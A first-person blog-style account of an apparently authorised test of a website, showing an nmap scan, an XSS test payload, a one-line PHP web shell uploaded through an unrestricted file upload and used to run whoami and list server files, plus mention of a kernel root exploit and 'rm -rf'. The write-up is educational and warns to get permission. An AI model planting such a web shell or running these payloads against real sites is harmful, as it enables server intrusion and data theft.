Are you under the impression that XSS vulnerabilities don’t affect the website?
I started learning about website vulnerabilities a few months back. Until a few days back, things were just till finding, sharing, and making fixes. This time I thought why not show how this works.
One of my knowns asked if I could check their website. Is there any way we can get to the server? This is an important stage before you get into some website.
Caution: Take permission for website testing and going to the server. Never test anything without permission and don’t use this for some illegal activity. Don’t be a cracker.
The answer was positive and I went ahead.
Let the game began…
Wherever you go into some website, the first step is to know about the target without doing much of the stuff.
The first move
Scanning ports using nmap
nmap — top-ports 1000 -T4 -sC mysite.com
The scan was completed in about 3 mins.
The only ports available to interact without credentials were 80/443. This wasn’t useful information. I went ahead with dummy login credentials. The first thing that comes to your mind when you see inputs is script injection. I knew that they have this vulnerability. So I went ahead just to ensure that it still exists or not. I tested it using
<img src=x onerror=’alert(“123”);’>
and it worked.
In 5 mins we found a vulnerability — the XSS vulnerability existing. But this wasn’t it. I was going through a form and saw a file upload section. Why not check Unrestricted File Upload Vulnerability! How Kind!
Opened my terminal and executed
echo “<?php system(\$_GET[‘cmd’]); ?>” > exploit.php
I tried to upload this file in that file attachment. It got uploaded, where I had expected it would stop me. In 8 mins, I had the second vulnerability. Now, it was the digging time.
Since it got uploaded, I would be there somewhere on the server. I right-clicked the file name on the file which I had uploaded and clicked copy link address and pasted it in a new tab.
GOD Mode activated
It resulted in https://mysite.com/path/XXXXX.php
This looks like our sweet shell from the browser to that server is ready.
I tried this URL: https://mysite.com/path/XXXXX.php?cmd=whoami and it loaded ‘www-data’.
~9 mins till now, we have low privileged access to the website.
The next shock when I checked this: https://mysite.com/path/XXXXX.php?cmd=ls /var/www/html
There wasn’t one but 3 or more websites hosted. Read access to all websites was available. Without any delay, I shared this with my mentor, and with his help, I went ahead with it. We tried to get the files out of the server by bringing them into the accessible location from the browser and we were successful in it. We were able to read many SQL files, backup files there(a developer knows how important are these), create files. That means we had read-write access. We tried to access the database, though it didn’t go successfully.
In 12 mins we had lots of information. This was serious! Now,
I decided to check if somehow I can get the root access. I checked
and from here I got the OS detail. Then, I did
and got the kernel version. Once you have these, you can get the scripts online on kernel vulnerabilities. I found one which can make me root if I could access /tmp location, which I was able to access.
It’s time to stop!
What an attack could have done:
- Modify server
- Add some malware
- Make the information public available
- Do some fun attacks
- Use the server
- Not jokingly, rm -rf (and here Game over)
- Rest I leave on you
Time up! 15 mins done.
What did we get?
- An XSS vulnerability after which we were sure for HTML rendering
- An unrestricted file upload leading to server access
- Able to become root
The next day I shared it with them and they fixed it.
So, never underestimate XSS or restrictions. A single miss can be deadly.